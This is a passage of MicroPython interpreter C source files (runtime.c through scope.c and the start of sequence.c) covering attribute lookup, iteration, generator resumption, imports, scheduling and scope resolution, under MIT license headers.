(seq_len = 0; seq_len < num_left; seq_len++) { item = mp_iternext(iterable); if (item == MP_OBJ_STOP_ITERATION) { goto too_short; } items[num_left + num_right + 1 - 1 - seq_len] = item; } mp_obj_list_t *rest = MP_OBJ_TO_PTR(mp_obj_new_list(0, NULL)); while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { mp_obj_list_append(MP_OBJ_FROM_PTR(rest), item); } if (rest->len < num_right) { goto too_short; } items[num_right] = MP_OBJ_FROM_PTR(rest); for (size_t i = 0; i < num_right; i++) { items[num_right - 1 - i] = rest->items[rest->len - num_right + i]; } mp_obj_list_set_len(MP_OBJ_FROM_PTR(rest), rest->len - num_right); } return; too_short: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_ValueError("wrong number of values to unpack"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "need more than %d values to unpack", (int)seq_len)); } } mp_obj_t mp_load_attr(mp_obj_t base, qstr attr) { DEBUG_OP_printf("load attr %p.%s\n", base, qstr_str(attr)); // use load_method mp_obj_t dest[2]; mp_load_method(base, attr, dest); if (dest[1] == MP_OBJ_NULL) { // load_method returned just a normal attribute return dest[0]; } else { // load_method returned a method, so build a bound method object return mp_obj_new_bound_meth(dest[0], dest[1]); } } #if MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG // The following "checked fun" type is local to the mp_convert_member_lookup // function, and serves to check that the first argument to a builtin function // has the correct type. typedef struct _mp_obj_checked_fun_t { mp_obj_base_t base; const mp_obj_type_t *type; mp_obj_t fun; } mp_obj_checked_fun_t; STATIC mp_obj_t checked_fun_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_checked_fun_t *self = MP_OBJ_TO_PTR(self_in); if (n_args > 0) { const mp_obj_type_t *arg0_type = mp_obj_get_type(args[0]); if (arg0_type != self->type) { if (MICROPY_ERROR_REPORTING != MICROPY_ERROR_REPORTING_DETAILED) { mp_raise_TypeError("argument has wrong type"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "argument should be a '%q' not a '%q'", self->type->name, arg0_type->name)); } } } return mp_call_function_n_kw(self->fun, n_args, n_kw, args); } STATIC const mp_obj_type_t mp_type_checked_fun = { { &mp_type_type }, .name = MP_QSTR_function, .call = checked_fun_call, }; STATIC mp_obj_t mp_obj_new_checked_fun(const mp_obj_type_t *type, mp_obj_t fun) { mp_obj_checked_fun_t *o = m_new_obj(mp_obj_checked_fun_t); o->base.type = &mp_type_checked_fun; o->type = type; o->fun = fun; return MP_OBJ_FROM_PTR(o); } #endif // MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG // Given a member that was extracted from an instance, convert it correctly // and put the result in the dest[] array for a possible method call. // Conversion means dealing with static/class methods, callables, and values. // see http://docs.python.org/3/howto/descriptor.html void mp_convert_member_lookup(mp_obj_t self, const mp_obj_type_t *type, mp_obj_t member, mp_obj_t *dest) { if (MP_OBJ_IS_TYPE(member, &mp_type_staticmethod)) { // return just the function dest[0] = ((mp_obj_static_class_method_t*)MP_OBJ_TO_PTR(member))->fun; } else if (MP_OBJ_IS_TYPE(member, &mp_type_classmethod)) { // return a bound method, with self being the type of this object // this type should be the type of the original instance, not the base // type (which is what is passed in the 'type' argument to this function) if (self != MP_OBJ_NULL) { type = mp_obj_get_type(self); } dest[0] = ((mp_obj_static_class_method_t*)MP_OBJ_TO_PTR(member))->fun; dest[1] = MP_OBJ_FROM_PTR(type); } else if (MP_OBJ_IS_TYPE(member, &mp_type_type)) { // Don't try to bind types (even though they're callable) dest[0] = member; } else if (MP_OBJ_IS_FUN(member) || (MP_OBJ_IS_OBJ(member) && (((mp_obj_base_t*)MP_OBJ_TO_PTR(member))->type->name == MP_QSTR_closure || ((mp_obj_base_t*)MP_OBJ_TO_PTR(member))->type->name == MP_QSTR_generator))) { // only functions, closures and generators objects can be bound to self #if MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG const mp_obj_type_t *m_type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(member))->type; if (self == MP_OBJ_NULL && (m_type == &mp_type_fun_builtin_0 || m_type == &mp_type_fun_builtin_1 || m_type == &mp_type_fun_builtin_2 || m_type == &mp_type_fun_builtin_3 || m_type == &mp_type_fun_builtin_var)) { // we extracted a builtin method without a first argument, so we must // wrap this function in a type checker dest[0] = mp_obj_new_checked_fun(type, member); } else #endif { // return a bound method, with self being this object dest[0] = member; dest[1] = self; } } else { // class member is a value, so just return that value dest[0] = member; } } // no attribute found, returns: dest[0] == MP_OBJ_NULL, dest[1] == MP_OBJ_NULL // normal attribute found, returns: dest[0] == , dest[1] == MP_OBJ_NULL // method attribute found, returns: dest[0] == , dest[1] == void mp_load_method_maybe(mp_obj_t obj, qstr attr, mp_obj_t *dest) { // clear output to indicate no attribute/method found yet dest[0] = MP_OBJ_NULL; dest[1] = MP_OBJ_NULL; // get the type mp_obj_type_t *type = mp_obj_get_type(obj); // look for built-in names if (0) { #if MICROPY_CPYTHON_COMPAT } else if (attr == MP_QSTR___class__) { // a.__class__ is equivalent to type(a) dest[0] = MP_OBJ_FROM_PTR(type); #endif } else if (attr == MP_QSTR___next__ && type->iternext != NULL) { dest[0] = MP_OBJ_FROM_PTR(&mp_builtin_next_obj); dest[1] = obj; } else if (type->attr != NULL) { // this type can do its own load, so call it type->attr(obj, attr, dest); } else if (type->locals_dict != NULL) { // generic method lookup // this is a lookup in the object (ie not class or type) assert(type->locals_dict->base.type == &mp_type_dict); // MicroPython restriction, for now mp_map_t *locals_map = &type->locals_dict->map; mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP); if (elem != NULL) { mp_convert_member_lookup(obj, type, elem->value, dest); } } } void mp_load_method(mp_obj_t base, qstr attr, mp_obj_t *dest) { DEBUG_OP_printf("load method %p.%s\n", base, qstr_str(attr)); mp_load_method_maybe(base, attr, dest); if (dest[0] == MP_OBJ_NULL) { // no attribute/method called attr if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_msg(&mp_type_AttributeError, "no such attribute"); } else { // following CPython, we give a more detailed error message for type objects if (MP_OBJ_IS_TYPE(base, &mp_type_type)) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_AttributeError, "type object '%q' has no attribute '%q'", ((mp_obj_type_t*)MP_OBJ_TO_PTR(base))->name, attr)); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_AttributeError, "'%s' object has no attribute '%q'", mp_obj_get_type_str(base), attr)); } } } } void mp_store_attr(mp_obj_t base, qstr attr, mp_obj_t value) { DEBUG_OP_printf("store attr %p.%s <- %p\n", base, qstr_str(attr), value); mp_obj_type_t *type = mp_obj_get_type(base); if (type->attr != NULL) { mp_obj_t dest[2] = {MP_OBJ_SENTINEL, value}; type->attr(base, attr, dest); if (dest[0] == MP_OBJ_NULL) { // success return; } } if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_msg(&mp_type_AttributeError, "no such attribute"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_AttributeError, "'%s' object has no attribute '%q'", mp_obj_get_type_str(base), attr)); } } mp_obj_t mp_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) { assert(o_in); mp_obj_type_t *type = mp_obj_get_type(o_in); // Check for native getiter which is the identity. We handle this case explicitly // so we don't unnecessarily allocate any RAM for the iter_buf, which won't be used. if (type->getiter == mp_identity_getiter) { return o_in; } // if caller did not provide a buffer then allocate one on the heap if (iter_buf == NULL) { iter_buf = m_new_obj(mp_obj_iter_buf_t); } // check for native getiter (corresponds to __iter__) if (type->getiter != NULL) { mp_obj_t iter = type->getiter(o_in, iter_buf); if (iter != MP_OBJ_NULL) { return iter; } } // check for __getitem__ mp_obj_t dest[2]; mp_load_method_maybe(o_in, MP_QSTR___getitem__, dest); if (dest[0] != MP_OBJ_NULL) { // __getitem__ exists, create and return an iterator return mp_obj_new_getitem_iter(dest, iter_buf); } // object not iterable if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object not iterable"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not iterable", mp_obj_get_type_str(o_in))); } } // may return MP_OBJ_STOP_ITERATION as an optimisation instead of raise StopIteration() // may also raise StopIteration() mp_obj_t mp_iternext_allow_raise(mp_obj_t o_in) { mp_obj_type_t *type = mp_obj_get_type(o_in); if (type->iternext != NULL) { return type->iternext(o_in); } else { // check for __next__ method mp_obj_t dest[2]; mp_load_method_maybe(o_in, MP_QSTR___next__, dest); if (dest[0] != MP_OBJ_NULL) { // __next__ exists, call it and return its result return mp_call_method_n_kw(0, 0, dest); } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object not an iterator"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not an iterator", mp_obj_get_type_str(o_in))); } } } } // will always return MP_OBJ_STOP_ITERATION instead of raising StopIteration() (or any subclass thereof) // may raise other exceptions mp_obj_t mp_iternext(mp_obj_t o_in) { MP_STACK_CHECK(); // enumerate, filter, map and zip can recursively call mp_iternext mp_obj_type_t *type = mp_obj_get_type(o_in); if (type->iternext != NULL) { return type->iternext(o_in); } else { // check for __next__ method mp_obj_t dest[2]; mp_load_method_maybe(o_in, MP_QSTR___next__, dest); if (dest[0] != MP_OBJ_NULL) { // __next__ exists, call it and return its result nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_obj_t ret = mp_call_method_n_kw(0, 0, dest); nlr_pop(); return ret; } else { if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { return MP_OBJ_STOP_ITERATION; } else { nlr_jump(nlr.ret_val); } } } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object not an iterator"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not an iterator", mp_obj_get_type_str(o_in))); } } } } // TODO: Unclear what to do with StopIterarion exception here. mp_vm_return_kind_t mp_resume(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value, mp_obj_t *ret_val) { assert((send_value != MP_OBJ_NULL) ^ (throw_value != MP_OBJ_NULL)); mp_obj_type_t *type = mp_obj_get_type(self_in); if (type == &mp_type_gen_instance) { return mp_obj_gen_resume(self_in, send_value, throw_value, ret_val); } if (type->iternext != NULL && send_value == mp_const_none) { mp_obj_t ret = type->iternext(self_in); if (ret != MP_OBJ_STOP_ITERATION) { *ret_val = ret; return MP_VM_RETURN_YIELD; } else { // Emulate raise StopIteration() // Special case, handled in vm.c *ret_val = MP_OBJ_NULL; return MP_VM_RETURN_NORMAL; } } mp_obj_t dest[3]; // Reserve slot for send() arg // Python instance iterator protocol if (send_value == mp_const_none) { mp_load_method_maybe(self_in, MP_QSTR___next__, dest); if (dest[0] != MP_OBJ_NULL) { nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { *ret_val = mp_call_method_n_kw(0, 0, dest); nlr_pop(); return MP_VM_RETURN_YIELD; } else { *ret_val = MP_OBJ_FROM_PTR(nlr.ret_val); return MP_VM_RETURN_EXCEPTION; } } } // Either python instance generator protocol, or native object // generator protocol. if (send_value != MP_OBJ_NULL) { mp_load_method(self_in, MP_QSTR_send, dest); dest[2] = send_value; // TODO: This should have exception wrapping like __next__ case // above. Not done right away to think how to optimize native // generators better, see: // https://github.com/micropython/micropython/issues/2628 *ret_val = mp_call_method_n_kw(1, 0, dest); return MP_VM_RETURN_YIELD; } assert(throw_value != MP_OBJ_NULL); { if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(throw_value)), MP_OBJ_FROM_PTR(&mp_type_GeneratorExit))) { mp_load_method_maybe(self_in, MP_QSTR_close, dest); if (dest[0] != MP_OBJ_NULL) { // TODO: Exceptions raised in close() are not propagated, // printed to sys.stderr *ret_val = mp_call_method_n_kw(0, 0, dest); // We assume one can't "yield" from close() return MP_VM_RETURN_NORMAL; } } else { mp_load_method_maybe(self_in, MP_QSTR_throw, dest); if (dest[0] != MP_OBJ_NULL) { dest[2] = throw_value; *ret_val = mp_call_method_n_kw(1, 0, dest); // If .throw() method returned, we assume it's value to yield // - any exception would be thrown with nlr_raise(). return MP_VM_RETURN_YIELD; } } // If there's nowhere to throw exception into, then we assume that object // is just incapable to handle it, so any exception thrown into it // will be propagated up. This behavior is approved by test_pep380.py // test_delegation_of_close_to_non_generator(), // test_delegating_throw_to_non_generator() *ret_val = throw_value; return MP_VM_RETURN_EXCEPTION; } } mp_obj_t mp_make_raise_obj(mp_obj_t o) { DEBUG_printf("raise %p\n", o); if (mp_obj_is_exception_type(o)) { // o is an exception type (it is derived from BaseException (or is BaseException)) // create and return a new exception instance by calling o // TODO could have an option to disable traceback, then builtin exceptions (eg TypeError) // could have const instances in ROM which we return here instead return mp_call_function_n_kw(o, 0, 0, NULL); } else if (mp_obj_is_exception_instance(o)) { // o is an instance of an exception, so use it as the exception return o; } else { // o cannot be used as an exception, so return a type error (which will be raised by the caller) return mp_obj_new_exception_msg(&mp_type_TypeError, "exceptions must derive from BaseException"); } } mp_obj_t mp_import_name(qstr name, mp_obj_t fromlist, mp_obj_t level) { DEBUG_printf("import name '%s' level=%d\n", qstr_str(name), MP_OBJ_SMALL_INT_VALUE(level)); // build args array mp_obj_t args[5]; args[0] = MP_OBJ_NEW_QSTR(name); args[1] = mp_const_none; // TODO should be globals args[2] = mp_const_none; // TODO should be locals args[3] = fromlist; args[4] = level; // must be 0; we don't yet support other values // TODO lookup __import__ and call that instead of going straight to builtin implementation return mp_builtin___import__(5, args); } mp_obj_t mp_import_from(mp_obj_t module, qstr name) { DEBUG_printf("import from %p %s\n", module, qstr_str(name)); mp_obj_t dest[2]; mp_load_method_maybe(module, name, dest); if (dest[1] != MP_OBJ_NULL) { // Hopefully we can't import bound method from an object import_error: nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ImportError, "cannot import name %q", name)); } if (dest[0] != MP_OBJ_NULL) { return dest[0]; } // See if it's a package, then can try FS import if (!mp_obj_is_package(module)) { goto import_error; } mp_load_method_maybe(module, MP_QSTR___name__, dest); size_t pkg_name_len; const char *pkg_name = mp_obj_str_get_data(dest[0], &pkg_name_len); const uint dot_name_len = pkg_name_len + 1 + qstr_len(name); char *dot_name = alloca(dot_name_len); memcpy(dot_name, pkg_name, pkg_name_len); dot_name[pkg_name_len] = '.'; memcpy(dot_name + pkg_name_len + 1, qstr_str(name), qstr_len(name)); qstr dot_name_q = qstr_from_strn(dot_name, dot_name_len); mp_obj_t args[5]; args[0] = MP_OBJ_NEW_QSTR(dot_name_q); args[1] = mp_const_none; // TODO should be globals args[2] = mp_const_none; // TODO should be locals args[3] = mp_const_true; // Pass sentinel "non empty" value to force returning of leaf module args[4] = MP_OBJ_NEW_SMALL_INT(0); // TODO lookup __import__ and call that instead of going straight to builtin implementation return mp_builtin___import__(5, args); } void mp_import_all(mp_obj_t module) { DEBUG_printf("import all %p\n", module); // TODO: Support __all__ mp_map_t *map = mp_obj_dict_get_map(MP_OBJ_FROM_PTR(mp_obj_module_get_globals(module))); for (size_t i = 0; i < map->alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(map, i)) { qstr name = MP_OBJ_QSTR_VALUE(map->table[i].key); if (*qstr_str(name) != '_') { mp_store_name(name, map->table[i].value); } } } } #if MICROPY_ENABLE_COMPILER // this is implemented in this file so it can optimise access to locals/globals mp_obj_t mp_parse_compile_execute(mp_lexer_t *lex, mp_parse_input_kind_t parse_input_kind, mp_obj_dict_t *globals, mp_obj_dict_t *locals) { // save context mp_obj_dict_t *volatile old_globals = mp_globals_get(); mp_obj_dict_t *volatile old_locals = mp_locals_get(); // set new context mp_globals_set(globals); mp_locals_set(locals); nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { qstr source_name = lex->source_name; mp_parse_tree_t parse_tree = mp_parse(lex, parse_input_kind); mp_obj_t module_fun = mp_compile(&parse_tree, source_name, MP_EMIT_OPT_NONE, false); mp_obj_t ret; if (MICROPY_PY_BUILTINS_COMPILE && globals == NULL) { // for compile only, return value is the module function ret = module_fun; } else { // execute module function and get return value ret = mp_call_function_0(module_fun); } // finish nlr block, restore context and return value nlr_pop(); mp_globals_set(old_globals); mp_locals_set(old_locals); return ret; } else { // exception; restore context and re-raise same exception mp_globals_set(old_globals); mp_locals_set(old_locals); nlr_jump(nlr.ret_val); } } #endif // MICROPY_ENABLE_COMPILER NORETURN void *m_malloc_fail(size_t num_bytes) { DEBUG_printf("memory allocation failed, allocating %u bytes\n", (uint)num_bytes); #if MICROPY_ENABLE_GC if (gc_is_locked()) { mp_raise_msg(&mp_type_MemoryError, "memory allocation failed, heap is locked"); } #endif nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_MemoryError, "memory allocation failed, allocating %u bytes", (uint)num_bytes)); } NORETURN void mp_raise_msg(const mp_obj_type_t *exc_type, const char *msg) { if (msg == NULL) { nlr_raise(mp_obj_new_exception(exc_type)); } else { nlr_raise(mp_obj_new_exception_msg(exc_type, msg)); } } NORETURN void mp_raise_ValueError(const char *msg) { mp_raise_msg(&mp_type_ValueError, msg); } NORETURN void mp_raise_TypeError(const char *msg) { mp_raise_msg(&mp_type_TypeError, msg); } NORETURN void mp_raise_OSError(int errno_) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(errno_))); } NORETURN void mp_raise_NotImplementedError(const char *msg) { mp_raise_msg(&mp_type_NotImplementedError, msg); } ================================================ FILE: micropython/source/py/runtime_utils.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Josef Gajdusek * Copyright (c) 2015 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #include "py/obj.h" #include "py/nlr.h" void mp_call_function_1_protected(mp_obj_t fun, mp_obj_t arg) { nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_call_function_1(fun, arg); nlr_pop(); } else { mp_obj_print_exception(&mp_plat_print, MP_OBJ_FROM_PTR(nlr.ret_val)); } } void mp_call_function_2_protected(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2) { nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_call_function_2(fun, arg1, arg2); nlr_pop(); } else { mp_obj_print_exception(&mp_plat_print, MP_OBJ_FROM_PTR(nlr.ret_val)); } } ================================================ FILE: micropython/source/py/scheduler.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/runtime.h" #if MICROPY_ENABLE_SCHEDULER // A variant of this is inlined in the VM at the pending exception check void mp_handle_pending(void) { if (MP_STATE_VM(sched_state) == MP_SCHED_PENDING) { mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION(); mp_obj_t obj = MP_STATE_VM(mp_pending_exception); if (obj != MP_OBJ_NULL) { MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL; if (!mp_sched_num_pending()) { MP_STATE_VM(sched_state) = MP_SCHED_IDLE; } MICROPY_END_ATOMIC_SECTION(atomic_state); nlr_raise(obj); } mp_handle_pending_tail(atomic_state); } } // This function should only be called be mp_sched_handle_pending, // or by the VM's inlined version of that function. void mp_handle_pending_tail(mp_uint_t atomic_state) { MP_STATE_VM(sched_state) = MP_SCHED_LOCKED; if (MP_STATE_VM(sched_sp) > 0) { mp_sched_item_t item = MP_STATE_VM(sched_stack)[--MP_STATE_VM(sched_sp)]; MICROPY_END_ATOMIC_SECTION(atomic_state); mp_call_function_1_protected(item.func, item.arg); } else { MICROPY_END_ATOMIC_SECTION(atomic_state); } mp_sched_unlock(); } void mp_sched_lock(void) { mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION(); if (MP_STATE_VM(sched_state) < 0) { --MP_STATE_VM(sched_state); } else { MP_STATE_VM(sched_state) = MP_SCHED_LOCKED; } MICROPY_END_ATOMIC_SECTION(atomic_state); } void mp_sched_unlock(void) { mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION(); if (++MP_STATE_VM(sched_state) == 0) { // vm became unlocked if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL || mp_sched_num_pending()) { MP_STATE_VM(sched_state) = MP_SCHED_PENDING; } else { MP_STATE_VM(sched_state) = MP_SCHED_IDLE; } } MICROPY_END_ATOMIC_SECTION(atomic_state); } bool mp_sched_schedule(mp_obj_t function, mp_obj_t arg) { mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION(); bool ret; if (MP_STATE_VM(sched_sp) < MICROPY_SCHEDULER_DEPTH) { if (MP_STATE_VM(sched_state) == MP_SCHED_IDLE) { MP_STATE_VM(sched_state) = MP_SCHED_PENDING; } MP_STATE_VM(sched_stack)[MP_STATE_VM(sched_sp)].func = function; MP_STATE_VM(sched_stack)[MP_STATE_VM(sched_sp)].arg = arg; ++MP_STATE_VM(sched_sp); ret = true; } else { // schedule stack is full ret = false; } MICROPY_END_ATOMIC_SECTION(atomic_state); return ret; } #else // MICROPY_ENABLE_SCHEDULER // A variant of this is inlined in the VM at the pending exception check void mp_handle_pending(void) { if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) { mp_obj_t obj = MP_STATE_VM(mp_pending_exception); MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL; nlr_raise(obj); } } #endif // MICROPY_ENABLE_SCHEDULER ================================================ FILE: micropython/source/py/scope.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/scope.h" #if MICROPY_ENABLE_COMPILER // these low numbered qstrs should fit in 8 bits STATIC const uint8_t scope_simple_name_table[] = { [SCOPE_MODULE] = MP_QSTR__lt_module_gt_, [SCOPE_LAMBDA] = MP_QSTR__lt_lambda_gt_, [SCOPE_LIST_COMP] = MP_QSTR__lt_listcomp_gt_, [SCOPE_DICT_COMP] = MP_QSTR__lt_dictcomp_gt_, [SCOPE_SET_COMP] = MP_QSTR__lt_setcomp_gt_, [SCOPE_GEN_EXPR] = MP_QSTR__lt_genexpr_gt_, }; scope_t *scope_new(scope_kind_t kind, mp_parse_node_t pn, qstr source_file, mp_uint_t emit_options) { scope_t *scope = m_new0(scope_t, 1); scope->kind = kind; scope->pn = pn; scope->source_file = source_file; if (kind == SCOPE_FUNCTION || kind == SCOPE_CLASS) { #if MICROPY_USE_SMALL_HEAP_COMPILER qstr id; pt_extract_id(pn, &id); // function name scope->simple_name = id; #else scope->simple_name = MP_PARSE_NODE_LEAF_ARG(((mp_parse_node_struct_t*)pn)->nodes[0]); #endif } else { scope->simple_name = scope_simple_name_table[kind]; } #if !MICROPY_USE_SMALL_HEAP_COMPILER scope->raw_code = mp_emit_glue_new_raw_code(); #endif scope->emit_options = emit_options; scope->id_info_alloc = MICROPY_ALLOC_SCOPE_ID_INIT; scope->id_info = m_new(id_info_t, scope->id_info_alloc); return scope; } void scope_free(scope_t *scope) { m_del(id_info_t, scope->id_info, scope->id_info_alloc); m_del(scope_t, scope, 1); } id_info_t *scope_find_or_add_id(scope_t *scope, qstr qst, bool *added) { id_info_t *id_info = scope_find(scope, qst); if (id_info != NULL) { *added = false; return id_info; } // make sure we have enough memory if (scope->id_info_len >= scope->id_info_alloc) { scope->id_info = m_renew(id_info_t, scope->id_info, scope->id_info_alloc, scope->id_info_alloc + MICROPY_ALLOC_SCOPE_ID_INC); scope->id_info_alloc += MICROPY_ALLOC_SCOPE_ID_INC; } // add new id to end of array of all ids; this seems to match CPython // important thing is that function arguments are first, but that is // handled by the compiler because it adds arguments before compiling the body id_info = &scope->id_info[scope->id_info_len++]; id_info->kind = 0; id_info->flags = 0; id_info->local_num = 0; id_info->qst = qst; *added = true; return id_info; } id_info_t *scope_find(scope_t *scope, qstr qst) { for (mp_uint_t i = 0; i < scope->id_info_len; i++) { if (scope->id_info[i].qst == qst) { return &scope->id_info[i]; } } return NULL; } id_info_t *scope_find_global(scope_t *scope, qstr qst) { while (scope->parent != NULL) { scope = scope->parent; } return scope_find(scope, qst); } STATIC void scope_close_over_in_parents(scope_t *scope, qstr qst) { assert(scope->parent != NULL); // we should have at least 1 parent for (scope_t *s = scope->parent;; s = s->parent) { assert(s->parent != NULL); // we should not get to the outer scope bool added; id_info_t *id = scope_find_or_add_id(s, qst, &added); if (added) { // variable not previously declared in this scope, so declare it as free and keep searching parents id->kind = ID_INFO_KIND_FREE; } else { // variable is declared in this scope, so finish if (id->kind == ID_INFO_KIND_LOCAL) { // variable local to this scope, close it over id->kind = ID_INFO_KIND_CELL; } else { // ID_INFO_KIND_FREE: variable already closed over in a parent scope // ID_INFO_KIND_CELL: variable already closed over in this scope assert(id->kind == ID_INFO_KIND_FREE || id->kind == ID_INFO_KIND_CELL); } return; } } } void scope_find_local_and_close_over(scope_t *scope, id_info_t *id, qstr qst) { if (scope->parent != NULL) { for (scope_t *s = scope->parent; s->parent != NULL; s = s->parent) { id_info_t *id2 = scope_find(s, qst); if (id2 != NULL) { if (id2->kind == ID_INFO_KIND_LOCAL || id2->kind == ID_INFO_KIND_CELL || id2->kind == ID_INFO_KIND_FREE) { id->kind = ID_INFO_KIND_FREE; scope_close_over_in_parents(scope, qst); return; } break; } } } id->kind = ID_INFO_KIND_GLOBAL_IMPLICIT; } #endif // MICROPY_ENABLE_COMPILER ================================================ FILE: micropython/source/py/sequence.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR 